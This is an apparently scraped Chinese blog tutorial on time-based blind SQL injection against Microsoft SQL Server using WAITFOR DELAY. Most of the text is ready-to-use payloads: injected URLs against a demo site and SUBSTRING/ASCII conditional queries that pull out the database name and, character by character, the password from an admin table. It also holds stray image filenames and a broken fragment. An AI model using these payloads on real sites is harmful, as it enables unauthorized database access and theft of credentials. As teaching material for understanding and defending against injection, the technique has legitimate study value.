Web安全之SQL注入:sqlserver延时注入

摘要

1、简介


WAITFOR是SQLServer中Transact-SQL提供的一个流程控制语句。它的作用就是等待特定时


间,然后继续执行后续的语句。它包含一个参数DELAY,用来指定等待的时间。


waitfordelay '0:0:5'  等待5秒再执行操作,页面将5秒之后返回


select 1 waitfordelay '0:0:5'

 

 

2、判断注入


http://www.demo1.com/index.aspx?id=1 waitfor delay '0:0:5'


页面延时5秒返回


SUBSTRING 截取字符串

 


3、查询信息

 


数据库版本 (select @@version)


数据库名 (select db_name())


获取密码 (select password from admin)

4、截取字符判断法


DB_NAME() mydb


SUBSTRING 从第一位开始取一位


select SUBSTRING(DB_NAME(),1,1)


if m=m

select * from art where id=1 if(SUBSTRING(DB_NAME(),1,1)=CHAR(109)) waitfor delay '0:0:5'

select * from art where id=1 if(SUBSTRING(DB_NAME(),1,1)='m') waitfor delay '0:0:5'
  if(SUBSTRING(DB_NAME(),1,1)=CHAR(109)) waitfor delay '0:0:5'


                             

1559876057109175.png

) waitfor delay '0:0:5'

 

 

 

5、 ascii码半截法

 

 


ascii 把字符转成ascii码

select *from art where id=1 IF ASCII(SUBSTRING(DB_NAME(),1,1))=109 WAITFOR DELAY '0:0:5'

http://www.demo1.com/index.aspx?id=1IF ASCII(SUBSTRING(DB_NAME(),1,1))=109 WAITFOR DELAY '0:0:5' --

select * from art where id=1 IFASCII(SUBSTRING(DB_NAME(),1,1))>30 WAITFOR DELAY '0:0:5'
http://www.demo1.com/index.aspx?id=1 IFASCII(SUBSTRING(DB_NAME(),1,1))>30 WAITFOR DELAY '0:0:5'--


1-126 遍历去对比要好一些 假如数据大的话就可以节省很多的时间。



0-126 共127个


大于50 51-127 74 127-74

 

查询password 的第一个密文的ascii码

select *from art where id=1 IF ASCII(SUBSTRING((select password from admin),1,1))=101 WAITFOR DELAY '0:0:5'

http://www.demo1.com/index.aspx?id=1IF ASCII(SUBSTRING((select password from admin),1,1))=101 WAITFOR DELAY '0:0:5'

 

 1559876092563156.png

 

目前评论:0 条

发表评论